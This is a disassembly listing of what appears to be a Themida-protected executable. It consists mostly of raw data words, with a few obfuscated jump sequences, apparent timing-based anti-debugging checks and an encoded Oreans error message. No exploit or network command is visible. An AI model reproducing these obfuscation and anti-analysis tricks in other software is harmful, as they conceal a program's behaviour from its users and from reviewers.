dd 63B3C9A7h, 0BFD1E7C5h, 416D22F9h, 18F18FF1h, 0F5EDE6F8h
dd 0A714413Bh, 1A8CEE3Eh, 6558528h, 7BB5A95Bh, 75B5A707h
dd 4136B303h, 0D1B89CFh, 9A7892A4h, 0FCDAF084h, 382496E6h
dd 96027938h, 8A1CE2F4h, 62FB3918h, 798BE4C7h, 25753956h
dd 6ED091A8h, 4925C11Ch, 0E886D62Fh, 31A3F30Bh, 0AFF2E197h
dd 5F81938Ah, 45216C49h, 0C47ED22Bh, 395A4ADAh, 0B2D73F9h
dd 0A1790000h, 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh
dd 6B916AFEh, 67FB17F2h, 0C5597751h, 27BBD1AFh, 881C3411h
dd 0D3A825D5h, 7F13A53Ah, 7956AB3Ah, 90C7E35Ah, 0B50EEDEEh
dd 0D0ECC765h, 0F466F8BEh, 34587F77h, 0B8D2E437h, 4D8BC3DBh
dd 805DC084h, 330F5635h, 0ED88C019h, 0D6290094h, 0FFE05BBDh
dd 58h, 6C424D28h, 0BD3D9F1Ch, 0EA5313A6h, 0E807E4B2h
dd 21BC77F3h, 0F04099E2h, 21597952h, 58B0617Fh, 7FD89328h
dd 58354B6Dh, 0D8760840h, 11ACE4FAh, 0FBB3DCFFh, 14340DABh
dd 50C22402h, 0CD3DA2A4h, 3C354768h, 1442F0CAh, 51FFB99h
dd 412032CDh, 78B0C8A5h, 1FF084DDh, 0C95D7D56h, 42A026D4h
dd 859B7914h, 0FABDD2F1h, 2E66805Ch, 0A0532893h, 63FF1442h
dd 0BC156E86h, 2574EF6Ch, 9D3B13A5h, 0D46FA7C1h, 2A7AE3C2h
dd 296B08Ch, 0E56A9531h, 8E2CE7DFh, 0C35E96B4h, 17B12B1h
dd 923B0000h, 0A0CCB330h, 0EE8A1442h, 28C3FB0Fh, 0F69ABDCFh
dd 159271B8h, 1442A06Bh, 0D622BAA8h, 0CC29AE8Fh, 0F34C6240h
dd 923992ACh, 5CBA2320h, 0CADC7624h, 92517F2Dh, 0EF0115F4h
dd 0A1E8C6CCh, 0B3923092h, 61CC679Fh, 1442A09Ah, 0EBDCF38h
dd 66484D57h, 839B7816h, 0C99EB04Bh, 0F492F2D9h, 11ECFE18h
dd 0E55FE61Eh, 72D7h, 0F4920000h, 0CAEDFF17h, 0BED6B3C8h
dd 73F5332h, 92CC136Ch, 0F760BE20h, 62741186h, 0E1750784h
dd 7BDB1442h, 42E179FEh, 0C6CD514h, 0F0082CF7h, 60A700ECh
dd 7A563992h, 98721060h, 47A7427Ah, 9083A81h, 320719E9h
dd 0B9923092h, 5BC66199h, 1442A0A4h, 0A3B79632h, 2338384Ah
dd 0FC1AF492h, 451729C4h, 2Ah, 17EC69CBh, 0C31442A0h, 4D73485Ah
dd 365D3645h, 92D4F86Fh, 88E13A7Eh, 6B159241h, 0A81442A0h
dd 39927AC1h, 19607A56h, 9A955B70h, 1CE55FE5h, 528AA07Eh
dd 2C06A5B7h, 2F000000h, 1F66484Dh, 0A06B1592h, 80E91442h
dd 56399239h, 31512A7Dh, 5B7091D8h, 4A9Eh, 0AD862400h
dd 3BC03D8Dh, 971442A0h, 92471C2Eh, 0DD76A420h, 0A6B87EFEh
dd 8B691283h, 49A23D75h, 32209202h, 680F6BBDh, 61FCACDEh
dd 409975D7h, 29D3502Eh, 66144281h, 2092387Fh, 0CCD00597h
dd 7C5A6C9Ch, 5D7D5623h, 9E5B7016h, 0FFFFFE75h, 6C424D2Dh
dd 25279F1Ch, 46D13A5h, 1A3916B4h, 546B493Eh, 11BF728h
dd 49D52EC9h, 65F9526Eh, 52304B46h, 5B36043Ch, 3D8DE63Fh
dd 0A5E13BC0h, 0F62E9713h, 0A5E1B049h, 5A0A1B13h, 0BB40BD1Fh
dd 1713A5E1h, 3EC19CAEh, 97D874DCh, 21h, 0A08477C0h, 320F1442h
dd 0EB68CA1Ah, 1442A014h, 0FCFA9DB3h, 0BC0D5015h, 511F4153h
dd 0BCh, 6C424DE0h, 0A1119F1Ch, 0D63F13A6h, 0ED0AE886h
dd 3E8B36B8h, 67FB548Eh, 255D7351h, 0CFB43193h, 8B13A6D3h
dd 0A2ED1022h, 3F1EBC0Ch, 0CC58F32Bh, 6A1D9EDh, 16B416F4h
dd 0F812EE39h, 948D9Fh, 52144156h, 993799E9h, 0D26DA5BBh
dd 0B2C8A6C0h, 2BD2441Eh, 6F9AC856h, 0A65DDA2Ah, 341B89D3h
dd 0C19FB9CBh, 96A455A4h, 87E02FB4h, 9717784Fh, 6977CA47h
dd 7AE31C6Eh, 97AF8C2Ah, 0F810ED03h, 4A96A8A4h, 0A329695Ah
dd 7B3h, 65F91BF3h, 0C256764Fh, 22B6D0ACh, 85192D0Ch, 0E478946Fh
dd 916CE50Bh, 0F1CBE175h, 4B293FD3h, 0AE8BA135h, 9F4F0296h
dd 0A53D5D22h, 25B4F913h, 522E7956h, 6B141031h, 217A1EA4h
dd 0E5C290C8h, 8E5795CDh, 2831A3D6h, 0CB69832Fh, 66435D6Fh
dd 0EA22421Bh, 8B62F64Fh, 0E05BA374h, 3661h, 0A21F8100h
dd 1442C2DDh, 29FE1079h, 1C6C424Dh, 0A68B219Fh, 0CE066F13h
dd 3185CA3Ch, 9AB8A912h, 394BA4BEh, 0A69DBF40h, 4BFB0C13h
dd 77D4EC13h, 3DE9D8h, 4D120000h, 9F1C6C42h, 13A6AD3Dh
dd 0E4B2EA53h, 3D9FEF07h, 0A6AE3BC0h, 641B9813h, 0F213A6AEh
dd 0BDCF3889h, 90A8859Bh, 0A00E8158h, 0AFE5D350h, 0A731442h
dd 0D2A9C76h, 0BCD15ADBh, 459E7385h, 0A3147BCDh, 42A05126h
dd 3B94FD14h, 770C89EBh, 0E31442A0h, 0B0671A7Ah, 82035A94h
dd 47159270h, 1513A658h, 15B3A3ACh, 0B8921E3Ah, 4B8F889Ah
dd 0AD3D1EAh, 65778F6Ch, 11614D42h, 5F82289Fh, 0A1C42C0Dh
dd 0AEC92927h, 502E4084h, 390C7CEEh, 416E47FDh, 0C29307E1h
dd 7082C7FEh, 0FD9C1977h, 2E7EE7DBh, 4797B790h, 7D9F35CAh
dd 2638A1C4h, 0A8068960h, 8279F658h, 50C47D9Fh, 7AF7D5E7h
dd 0C399A45Dh, 0D270C029h, 3349DDF5h, 80053756h, 7986A16Ch
dd 0EA8ACC20h, 5B9B99D9h, 63ED5h, 6E906800h, 0CBEBC4DAh
dd 2B452137h, 8EA28197h, 0ED09E4FAh, 0E17A8059h, 4056EA06h
dd 9EB44866h, 16AAC0h, 0C4770B23h, 3FE09714h, 296E13A5h
dd 6179569Ah, 657F5B29h, 4136B315h, 0D1442A0h, 967092A4h
dd 0A50519F8h, 183FB40h, 0D2F5072Bh, 3FA1F1BDh, 46663FDDh
dd 7308730Eh, 0DF144234h, 7B6B6476h, 2913A5B1h, 0DEBA88C0h
dd 0B1F070C4h, 9496A15h, 5C683h, 0E608E000h, 43633C52h
dd 0A3BD99AFh, 61AF90Fh, 65815C72h, 59F2F8D1h, 0B8CE627Eh
dd 162CC0DEh, 788E2238h, 3CEF839Bh, 3F680F8Ch, 0A1E613A5h
dd 6C424D12h, 253B9F1Ch, 0F05913A5h, 0F40EEAB8h, 1645CAA0h
dd 0BD43836Ah, 57Bh, 9D31532Bh, 0FA8EAE87h, 5AEE08E4h
dd 0BD516544h, 1CB0CCA7h, 0C9A4BD43h, 290319ADh, 8361770Bh
dd 0E6C3D96Dh, 0D7873ACEh, 0A53FA55Ah, 5DEC3113h, 1C6C424Dh
dd 24DB58BAh, 0B21442A0h, 5E3E3749h, 0F413A525h, 0C5FCC484h
dd 1D768EECh, 2A3B17E5h, 0A5B2D6ADh, 0C21B8413h, 16BA066Eh
dd 951B5B6Ah, 517h, 195B78Fh, 5EF212EBh, 0BE526C48h, 21B5C9A8h
dd 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh, 4A273DD1h
dd 3BEB9E32h, 0A50039BEh, 0C1509513h, 11617956h, 0A04D32AFh
dd 0A0091442h, 1DFAC88Eh, 23FFCD05h, 2803D109h, 0CE95D40Ch
dd 3BB8DA96h, 0D4B2500Bh
dd 0B592ACBEh, 16F3099Dh, 6719C6FEh, 0F21442A0h, 40DE9DC9h
dd 1C364866h, 0B993273Fh, 2A87B47h, 7D8F2E8Bh, 366E8663h
dd 0DF738B68h, 5126A305h, 0FD14424Fh, 126B8561h, 0FCB2DD00h
dd 36CD4AACh, 6914424Fh, 0B720718Fh, 404AC7A5h, 0E13A65Ch
dd 3FC06DA5h, 8C13A7A3h, 0A7BF9C3Ah, 25C2D46Fh, 1AC23D61h
dd 36D4D877h, 132F0A5Dh, 0D5E782BAh, 6036h, 0F4925F00h
dd 0F9C7FF17h, 33CE061Ah, 0EAA5C8DAh, 639BB591h, 0A0AF54D1h
dd 0C22B1442h, 5EC01069h, 0CAEBF9ECh, 128F34F2h, 1442DC6Dh
dd 9B2780E9h, 9790A2C2h, 13A6D5D1h, 51FE369Fh, 13A626AEh
dd 0A959CB1Dh, 334B287Eh, 261287D3h, 0F7E1239h, 0A0B20BF3h
dd 0E41B4303h, 0F1D8772Bh, 0DEh, 6A79561Ah, 42A016EDh
dd 25BC414h, 6F1040B2h, 0C0FBAE89h, 3F1AE8AEh, 0E759EB23h
dd 5FC6ADFFh, 0BFD9EB83h, 187ACAE2h, 42DBE49Bh, 0A9097214h
dd 6E642919h, 5E243619h, 79BB390h, 426C2A12h, 0F110ED14h
dd 4C25DE4Ah, 0A93D960Dh, 8F6BB693h, 0DE41C75h, 5FDC2C82h
dd 13A6C671h, 0DD98AE20h, 4BE2AEDh, 16AA13F2h, 0C61698F7h
dd 6610E764h, 22BE13A6h, 58F32B47h, 920FEDFFh, 14408CBEh
dd 650353BCh, 42623B8Ah, 643F55E9h, 1B8AF448h, 0ABEB6232h
dd 35625h, 56785000h, 0B3D3ACC2h, 132D091Fh, 768A697Fh
dd 0D5F1CCE2h, 0C9826841h, 283ED2EEh, 869C304Eh, 0E8FE92A8h
dd 0AC5FF30Bh, 1F87FFCh, 115613A5h, 77209282h, 8274B01Ah
dd 50A9C7A1h, 2D49243Eh, 8EA68399h, 424D29FAh, 0E99F1C6Ch
dd 0A713A6A9h, 0A659063Eh, 2513A6AAh, 0D32C5014h, 4D87807h
dd 0CBh, 15F4922Dh, 0BA37C901h, 1442A0C5h, 43CF2891h, 7D185064h
dd 5C74516Bh, 5F7B5624h, 0B6339527h, 1442A1C1h, 1912248Dh
dd 1442A525h, 6BFF17F4h, 28607855h, 20703E51h, 0A6AB35A3h
dd 66FA6313h, 16664847h, 40521E99h, 0ABFB6414h, 5B37CC49h
dd 3AA31B88h, 4AE84A28h, 4E1C546Eh, 0F0025B6Fh, 8FDFFBD6h
dd 98DA651Dh, 0B9CBB19Bh, 8AA68197h, 33095236h, 71F73762h
dd 277h, 0A135572Fh, 0FE92B28Bh, 5EF20CE8h, 0C1556948h
dd 20B4D0ABh, 0CDA8A147h, 2D071DB1h, 87657B0Fh, 0EAC7DD71h
dd 0DB8B3ED2h, 0A502995Eh, 61F03513h, 0F5F7B56h, 0A04B30ADh
dd 6B071442h, 0A03B7391h, 0FD133547h, 0D4AC0120h, 6AC61CA7h
dd 56AC7D11h, 5B296179h, 0DF26F7Eh, 0C91442A0h, 54730760h
dd 8523733Bh, 9E7C8EAAh, 0A68BA321h, 5088F113h, 0E4F4CBEh
dd 756AE8E0h, 0A9447C9Ch, 0BA453E50h, 1113A607h, 0E7184400h
dd 0B1D87776h, 0BE73A13h, 0C56098F1h, 5314B3h, 4D3D0000h
dd 7E1C6C42h, 967486A4h, 41D5C234h, 1D1EE562h, 53BC1442h
dd 7A2394F3h, 0B1A96F68h, 0CA6813A6h, 7049D5EDh, 6B7D1850h
dd 35D3238Ch, 6F0A4256h, 11EA975Dh, 8213A6BDh, 835189A9h
dd 9F568EA6h, 7CD49CC8h, 7C833B6Bh, 59D877F4h, 1Bh, 0A0857782h
dd 88071442h, 0A759D626h, 2D13A680h, 80AB50CDh, 0BE2713A6h
dd 4D00D165h, 9F1C6C42h, 13A680C9h, 0D2A92688h, 4513A680h
dd 7E195167h, 0D3B2C42Dh, 2A0326Ah, 4FD0F23h, 13A6807Bh
dd 0D787BFD0h, 0D877FD28h, 18ADh, 8477D600h, 61442A0h
dd 58D52589h, 13A680A6h, 97B58F2Dh, 0A93DA685h, 6C424DD8h
dd 25079F1Ch, 0ED4D13A5h, 0A5268B70h, 85DE4713h, 0A2BA9735h
dd 0FC1BF80Eh, 62ABA39h, 0C9015A5Ah, 0C1119DF2h, 0F22A4A23h
dd 0A9F7150h, 2A83EA6Fh, 9ABD3A18h, 0E81442CDh, 0B4912F7Fh
dd 0CE5328A5h, 96FF1B8Dh, 0B693A93Dh, 72D4669Eh, 0CEEC9310h
dd 16A1B8Dh, 8DCEE196h, 0F2046D1Bh, 9EEEC0CFh, 0A7C39E3Ch
dd 9B60DD6Fh, 371B8DCEh, 6A6375CEh, 1C69D94Ch, 473CB91Bh
dd 1303F126h, 29411EAAh, 654456F1h, 45EAA8FCh, 73B35A4Ah
dd 92EDh, 1A3C1400h, 77977086h, 0D7F1CDE3h, 3A4E2D43h
dd 99B590A6h, 8DC62C05h, 0EC0296B2h, 4A60F412h, 0ACC2566Ch
dd 7023B7CFh, 4BC43C0h, 0D51A13A5h, 75424D46h, 1A851B03h
dd 0A914A1E0h, 1442BAD2h, 6EBE1780h, 0A53F5AF1h, 77AF1813h
dd 20B4CCA9h, 0DD152D0Ah, 0CFAF6F30h, 0F6945210h, 54F10317h
dd 0EDCB6910h, 0CEABC5D7h, 2F0C22B6h, 0DB4DDF17h, 84D20623h
dd 0FC162811h, 1AD1091Dh, 3F1C0343h, 0A07D9327h, 8CA5088h
dd 59000000h, 0BA97358Dh, 56BB90A2h, 56245C7Eh, 5B296179h
dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah
dd 74427A94h, 0EE437B9Bh, 5E1F68h, 24348900h, 3C6768h
dd 240C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
dd 7468243Ch, 8B07E787h, 0C481240Ch, 4, 243C8B54h, 4C481h
dd 0AD680000h, 89000073h, 481240Ch, 758CC24h, 8478F20h
dd 0CC086F81h, 0FF200758h, 835F2434h, 0C8B04C4h, 0E3895324h
dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FCD80EE9h, 524D4AFFh
db 0EEh, 30h
; ---------------------------------------------------------------------------
loc_5BCA7E: ; CODE XREF: Themida_:loc_5BAB28j
mov eax, 7E7A575h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
align 4
dd 0CD7C7403h, 0E535CDD0h, 950FC465h, 1E641D5Dh, 22601CC6h
dd 9348B1F1h, 57694CCh, 0B53E9217h, 6B48609Dh, 965C6853h
dd 0F935850Ch, 0F00E4DC2h, 803F1074h, 0E5489E89h, 2A3C345Ch
dd 53AABE2h, 0E625DD72h, 6C123ECEh, 0E81D3847h, 12h, 19B1ED0Ch
dd 0F385CE32h, 98FD8CFBh, 0BB918B52h, 8B666B7Dh, 81665AF8h
dd 812D74CBh, 692DC2h, 5810F00h, 60000000h, 616160F5h
dd 1A1E68h, 4880F00h, 66000000h, 59A1F7BFh, 57028BF9h
dd 10E8h, 0A5BDA200h, 4D0B257Dh, 60D6D809h, 0D6403CDFh
dd 0FE918h, 7FED0000h, 279D4BC6h, 339AE408h, 5E71F3DBh
dd 815F5B5Dh, 2BCF46C0h, 0BE93Bh, 796B0000h, 0F293E102h
dd 52260626h, 0E7C08139h, 66513CACh, 0C081FB8Bh, 48CF6FE1h
dd 987524BEh, 850F503Bh, 2, 28F90B3h, 0F03EA83h, 0F4AF9BFh
dd 0E983F1B7h, 8A850F01h, 0FFFFFFFh, 81h, 17E900h, 4E390000h
dd 7787h, 4 dup(0)
dd 51DE900h, 0A57D0000h, 0D9EF83h, 5A364CE0h, 0B796AC40h
dd 1EF90FA3h, 6F956E02h, 6BFF1BF6h, 0C95D7B55h, 2BBFD5B3h
dd 8C203815h, 0D7AC29D9h, 8313A507h, 7956AF3Eh, 805B2961h
dd 98761464h, 9DAF4A82h, 7988657Bh, 42A007FCh, 0A6AD314h
dd 6A119504h, 0FB338C07h, 0D4F0CB69h, 0D0F4FA9Ch, 0ECAE2AE1h
dd 8A678193h, 0AA83A72h, 0E802142Eh, 53B7EF0Fh, 79EBAED6h
dd 0F7D36A14h, 0AA0AA5DDh, 96A8BD54h, 0F3879F7Ch, 55E9FFDDh
dd 134B613Fh, 154D6B45h, 60DF875Eh, 0C2D86C82h, 0A5BD9AE5h
dd 9567144Ch, 8A14425Bh, 1AE599CDh, 0BBE05B16h, 8Eh, 18F492E4h
dd 0F5D2ECFEh, 12EF8DDDh, 7522E8FAh, 1442A088h, 0F1A8DC99h
dd 0A06D128Fh, 1DA1442h, 736DAEBAh, 0AF0F78C9h, 4F7B3E24h
dd 583345D9h, 0E05BEFA7h, 130h, 0F4925900h, 2EC90115h
dd 929021Ch, 0A2A03D1h, 0C3A240D2h, 8CDC77AFh, 42A0680Fh
dd 6B7DE614h, 265E7251h, 2A627C58h, 30687E5Ch, 5B174FCCh
dd 0D188BC39h, 0EB900D6Fh, 671442A0h, 0A0EC93FEh, 0CE6A1442h
dd 6A7CD5F5h, 7577750h, 61738D69h, 344C293Fh, 7B56CFA0h
dd 8059275Fh, 0E0EA2860h, 0EA04E07Eh, 0D7AC17B2h, 831442A0h
dd 3B6B081Ah, 0EA08E280h, 0EB0517B2h, 6A4F410h, 3BD60E2Ch
dd 14F10729h, 833AACFCh, 7EEBF0A7h, 49633FCBh, 9E647611h
dd 0A2DAF4D0h, 0F4FF708h, 0E05BD320h, 8BD5h, 1693F500h
dd 14429761h, 9D7284EDh, 0B2587B56h, 50DD5BECh, 3A581F9Ch
dd 8DF61442h, 0D5A3DB34h, 43A7DFF9h, 79DB9EC6h, 423A07FCh
dd 0A2BC9814h, 157ECF6Ah, 0F20EE903h, 4A6D485Eh, 0E8C44263h
dd 0EEB26ECEh, 3AC13E8Eh, 981442ECh, 0D09ED62Fh, 0D7A5DDF1h
dd 0DBA9E1FBh, 0F3AAE202h, 0B431681Ch, 1442ECCFh, 71C9228Bh
dd 0D7752460h, 11ACE4F8h, 0C40B24FFh, 280CE05Bh, 35000000h
dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 4617ABC7h, 255D7D56h
dd 42A08678h, 0A6DE9B14h, 5C1109F6h, 1CEE0h, 56F70000h
dd 5A28607Ah, 762D657Dh, 9C78E79Fh, 0C0CFEE82h, 0EB219EEEh
dd 0A913A691h, 5D3A0840h, 0BE9BB145h, 3CC16EA6h, 4813A692h
dd 0C19E81C5h, 22FF15A9h, 2704D20Ah, 8F99D70Fh, 92CBB02Dh
dd 0EB8713A6h, 23BEF60Eh, 6B1BB8CAh, 9DB59230h, 9EB8CA65h
dd 3B15A9C1h, 95A7C19Dh, 77DF45BAh, 0EC92D8h, 14B20000h
dd 48E31B3Bh, 8FC7DFBCh, 4D0DE2F4h, 9F1C6C42h, 13A6BEFDh
dd 24F22A93h, 0C19B2F47h, 1C2E4623h, 0D50D2502h, 6DF2A07h
dd 17558DE6h, 4A27164Eh, 0D40C20FFh, 754CE039h, 0D877F28Ah
dd 5C4Bh, 444D7400h, 69D1A6Ah, 546BBD5Fh, 8DC5D9B8h, 5E25A2F2h
dd 0FC9442A0h, 55023A93h, 9442A0AEh, 898DB980h, 0F456A608h
dd 0A06E1592h, 83EC9442h, 0A0C1B633h, 248D9442h, 5F821912h
dd 34D0EBBDh, 68033B5Bh, 5FAD7B0Fh, 33000000h, 0B6BA3BC1h
dd 0B505A899h, 42304338h, 94A60F14h, 39424DBFh, 6D084060h
dd 9D47C414h, 4313A6B9h, 0F7D4A2DAh, 0A582D1ACh, 61BA558Dh
dd 815E7408h, 4843169h, 813A6B9h, 815EC185h, 0D9B6D569h
dd 7C0885D5h, 0E614411Dh, 9A77457Dh, 0BC934A82h, 0AB038C88h
dd 0C616DE5Bh, 53BC1C6Eh, 0F492EEBFh, 0C8EBFD19h, 1A97E7C7h
dd 13A5076Ah, 89578FF8h, 0EA0094ACh, 2BBDF50Dh, 0B0CA0B9h
dd 899BB085h, 0C5954790h, 0DE7C3A63h, 39D6E802h, 2635120Dh
dd 0A1AD2A9h, 0BE17806Ch, 6316FC6Eh, 359E2707h, 0EEB0123h
dd 70D0E4C3h, 8C9544BCh, 0D5DB6ECh, 4078946Fh, 704A31AEh
dd 9F086C0Ah, 0DC6E3446h, 7006FD7Ah, 64D46C0Ah, 82080E47h
dd 0E939923Eh, 0AAB976Ch, 0C8DA436Ch, 83BBCFAEh, 4ECBD6B5h
dd 6C0AABA9h, 2B63BC25h, 2F67815Dh, 347C28F1h, 0C1BCE8BFh
dd 2238CCE4h, 6FF52D45h, 15h, 0D3358DFEh, 42A0A156h, 50CD2D14h
dd 1442A0ABh, 5365BE27h, 5C7E567Eh, 61795624h, 677D5B29h
dd 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh
dd 7B9B7442h, 8953EE43h, 4C381E3h, 81000000h, 4EBh, 241C8700h
dd 240C895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 53240C89h
dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h, 68575224h
dd 15EE76CFh, 3BF7815Fh, 811FB535h, 6201BFC7h, 9CEF8173h
dd 89299207h, 0CA815FFAh, 225210Bh, 2F38C281h, 0D2F72709h
dd 80F2814Ah, 89852036h, 0EC815AD1h, 4, 81242489h, 42404h
dd 515B0000h, 0DD243481h, 8F53313Dh, 0B9510843h, 8, 3181D901h
dd 53313DDDh, 241C8B59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_58A287
; ---------------------------------------------------------------------------
db 7Dh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
xor edi, [edx]
mov eax, 7E7AB7Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 48EC844Dh, 2454D0D0h, 354C50F9h, 36C55EDAh, 7D64ACDh
dd 3A379313h, 5FFDA48h, 62238A9Bh, 56DC042Eh, 9EFD2D1h
dd 8A06569h, 4D2365B1h, 359271DDh, 4418E3Eh, 60A51625h
dd 3235068Eh, 3254FDDEh, 400E9h, 0
dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
dd 5600h, 4500h, 0
dd 1286E900h, 0BD890000h, 7E40025h, 15F99531h, 858B07E4h
dd 7E40DE1h, 919531F5h, 3907E41Dh, 0F042444h, 0B785h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 8A0FC47Fh, 0Dh, 43CA8160h, 0BB5F862Ch, 7779C680h, 0FDBD8361h
dd 7E42Bh, 7A840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0FF840C3h, 787h, 0EE806000h
dd 6161604Ah, 3BDC858Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 93F877C3h, 5655451Bh
dd 358D9D89h, 11E907E4h, 0C000000h, 8E38EF12h, 24CBB0BBh
dd 32428B75h, 950A4189h, 61CB8A60h, 0BD89E0FFh, 7E42DF1h
dd 1DE1858Bh, 39F507E4h, 0F042444h, 3B85h, 11E900h, 0C8C00000h
dd 882C8571h, 92A19A02h, 6EA97D41h, 0C7CE424Fh, 0E7B09285h
dd 107h, 15840F00h, 0E9000000h, 10h, 292BF56Dh, 7C439CA3h
dd 0B6E2EDAFh, 0E0B7B45Eh, 50006A60h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 68C0F62h, 89000000h
dd 0E4041995h, 27E907h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 9E008C3h, 0E4035195h
dd 7, 1B800h, 85870000h, 7E7B212h, 0F675C00Bh, 2C2DB5FFh
dd 858F07E4h, 7E7B08Ah, 0FF6A206Ah, 160195FFh, 0BD8307E4h
dd 7E40369h, 6A087400h, 4195FF00h, 8307E40Eh, 0E4038DBDh
dd 0D740107h, 8068h, 0FFFF6A00h, 0E4160195h, 6AF507h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 5C15AAC3h, 32D4162Ah, 8A6004BBh, 2EDB81DAh, 616A34E8h
dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 683A4436h, 0B5310864h, 7E431D1h
dd 2824548Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 9C35343h, 0DED75744h, 897257B9h, 0E412D185h, 0EE86007h
dd 31000000h, 0B7629DBCh, 4DB230CEh, 0D362A14Ah, 0D995017Dh
dd 5F07E420h, 6818D29h, 896107E4h, 0E40EE995h, 3CBE07h
dd 85890000h, 7E423A9h, 25BD8D89h, 740307E4h, 89602424h
dd 0E42C0DBDh, 8D895107h, 7E42AEDh, 840F6159h, 6, 314D8529h
dd 0AD6607E4h, 1D759501h, 440307E4h, 6A2424h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DBDDAC3h
dd 0AF79EEh, 0F5B9301Bh, 3269BD89h, 0E99007E4h, 10h, 94847FBBh
dd 31233A21h, 9498CF06h, 6CD88F55h, 0F525050h, 28Dh, 0F616000h
dd 96B06031h, 5A616160h, 8D319058h, 7E42A69h, 0F78408Bh
dd 78Ah, 1820F00h, 0FC000000h, 0B092BD83h, 0F0007E7h, 15C85h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 56860889h, 8E9A607h, 72000000h, 4B396DE7h
dd 90887CCEh, 8B0F5250h, 6, 310F5250h, 310F585Ah, 10E9h
dd 8F1C9000h, 9682F6B9h, 48252802h, 2E69E46Dh, 50585AF7h
dd 0D3B56060h, 61615F50h, 0B8F0F90h, 60000000h, 820Fh
dd 0E8800000h, 448B616Ch, 6A2C24h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0C0A5CEC3h, 9E6DCA2Bh
dd 525090FCh, 11E9h, 58C4300h, 0EC4E88E8h, 0BC0D1FBDh
dd 4169AD9h, 310FBC83h, 5E9h, 539BFB00h, 585A6837h, 22820F50h
dd 50000000h, 0BE952h, 0C62E0000h, 6483EC34h, 3D22D845h
dd 0E9310F13h, 7, 0E6E05ECAh, 5AAAD1D1h, 6A9058h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 8B60A6C3h, 0E419D985h, 19D8907h, 6107E426h, 7ED8858Dh
dd 0FFFC07E7h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 92A377C5h, 8CAACDFBh
dd 820F2BC2h, 1, 0BD8960FCh, 7E43269h, 0DC5BD29h, 296107E4h
dd 0E42C3185h, 24440307h, 55006A28h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2AC19683h
dd 408BFC59h, 51006A18h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 0EB3DEA7Fh, 40F9E8ECh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 30C35141h, 85896810h
dd 7E7B08Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0A7C35646h, 0D26B51A2h, 880F763Ah, 1, 12E958F5h
dd 8F000000h, 7BDF75C0h, 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h
dd 8501600Ah, 7E41641h, 14E9h, 949A2700h, 96CB4AEFh, 0F54A1919h
dd 0D91B47A2h, 0EAC77D3Fh, 708B6115h, 5958978h, 8307E415h
dd 8E91CC6h, 8D000000h, 4B4B64B9h, 9631CDE0h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 89C35646h, 60C3B3F4h
dd 0AE1BD8Bh, 0D78107E4h, 5DF52842h, 51858961h, 0E907E42Ch
dd 14h, 0B177B368h, 0CE62AA03h, 9174EF5h, 0A39BEB62h, 0DFB23A56h
dd 24247C81h, 10000000h, 10B870Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 894780C3h
dd 86D8590Ch, 2AAD8D89h, 0F5007E4h, 1981h, 14E900h, 7D580000h
dd 2055173Ah, 0D120993Dh, 0B6C9390Bh, 4B4A6FEBh, 489F441h
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 24448BFFh, 52006A28h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 4F1F2FB5h
dd 0F89B82EDh, 90FCDC77h, 800F5250h, 6, 310F5250h, 310F585Ah
dd 0BE9h, 8BB24E00h, 0A4349E31h, 0F0FA9E3Fh, 0F50585Ah
dd 0A8Eh, 52506000h, 585A310Fh, 90615F50h, 0D8858DF5h
